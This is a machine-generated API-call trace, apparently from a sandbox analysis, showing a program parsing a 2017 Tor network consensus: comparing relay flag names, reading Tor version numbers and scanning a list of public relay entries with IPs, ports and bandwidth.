(_Str1="V2Dir", _Str2="Running") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Named") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Valid") returned -1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Guard") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="BadExit") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Authority") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="Unnamed") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="HSDir") returned 1 [0119.864] strcmp (_Str1="V2Dir", _Str2="V2Dir") returned 0 [0119.864] strcmp (_Str1="Valid", _Str2="Exit") returned 1 [0119.864] strcmp (_Str1="Valid", _Str2="Stable") returned 1 [0119.864] strcmp (_Str1="Valid", _Str2="Fast") returned 1 [0119.864] strcmp (_Str1="Valid", _Str2="Running") returned 1 [0119.864] strcmp (_Str1="Valid", _Str2="Named") returned 1 [0119.864] strcmp (_Str1="Valid", _Str2="Valid") returned 0 [0119.864] strlen (_Str="Tor ") returned 0x4 [0119.864] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.864] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.864] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.864] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.864] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.864] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.864] strlen (_Str="(git-") returned 0x5 [0119.864] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.864] strlen (_Str="Tor ") returned 0x4 [0119.864] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.864] strlen (_Str="(r") returned 0x2 [0119.864] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.865] strlen (_Str="(git-") returned 0x5 [0119.865] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.865] strtol (in: _Str="0.3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".3.0.10") returned 0 [0119.865] strtol (in: _Str="3.0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".0.10") returned 3 [0119.865] strtol (in: _Str="0.10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".10") returned 0 [0119.865] strtol (in: _Str="10", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 10 [0119.865] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.865] strlen (_Str="(git-") returned 0x5 [0119.865] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.865] strlen (_Str="Bandwidth=") returned 0xa [0119.865] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.865] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.865] strstr (_Str="r CalyxInstitute14 ABG9JIWtRdmE7EFZyI/AZuXjMA4 2017-08-21 05:05:15 162.247.72.201 443 80\nm I7ecRR0TjlV0+SRrbMIQM8TG8PTCuJerMsAklr+ZQp4\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3830\nr Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\np", _SubStr="\nr ") returned="\nr Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2017-08-21 09:58:54 185.13.39.197 443 80\nm IjKmHjHBklzw18501A9gP4XbwGwzazikA4XZHAtyddY\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5740\nr MansikkaMaki04 ABpoc34PraISaJvGDXJn/1XrZyI 2017-08-21 19:11:45 35.196.246.155 9001 9030\nm eebCg4IkvACJGrf4+ma1rHffy223xC2BkxME0JBf+lw\ns Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=20\nr metroholografix ACEhJSRnU4ydobwjeJl+ZGKYFPY 2017-08-21 17:00:57 46.4.253.194 443 9030\nm rLolLZe4zfYDrUmzDTGeU/DdFtAmOzC/OEjtKu7XxsU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=141\nr dj2bee ACaSv+vqmZwxB7Wfcg1/mkwpgZ8 2017-08-21 03:39:28 87.118.116.227 9001 0\nm xieN5PK4YAcfozCB7WfclM5Bucw/FVXWx6OUK8zzoMc\ns Fast Running Stable Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=110\nr UbuntuCore185 ADTrRcdw/y98wosHUBV0zMKgoWw 2017-08-21 06:54:30 88.179.66.116 36543 0\nm 87kCjAEsdYwuZU/RQ0rhUnVVbAczHC0UM8S3unblvb4\ns Fast Running V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=33\nr torbogen AEHgFQsKMHUGwoY+/J8rfjpSOzY 2017-08-21 18:21:54 91.97.53.178 9001 9030\nm 41nHWhtdxaPNpJqBxcRbu7UqGJ+I//dkuN+oJ/nKxaQ\ns Fast Running V2Dir Valid\nv Tor 0.3.0.7\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=430\nr havingtrouble AEJpGAnlKLJYyf4BKhxGhZFj8UI 2017-08-21 02:59:14 159.203.42.254 9001 443\nm te1eP9gwzwm5qcmW2owfhrcBTS51ng31HNUK+KZksgg\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19000\nr itl11 AEWa8One0A5UpIsmgSZnn1ePaVo 2017-08-21 17:40:22 217.12.223.215 22 0\nm TXJa0g88hQDFbiVIgIk/52CAaWAQoMfnNXOd869Y0Ug\ns Fast Guard Running Stable Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=7020\nr Gbit420 AF1cK2t2OHMDZimK1kVaeEdJomo 2017-08-21 11:16:49 151.80.16.34 9077 9030\nm sVLNcNTigiVlifK0nVXgEb3PD2sa9Lwe1Ll04uIeGXA\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15800\nr MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm 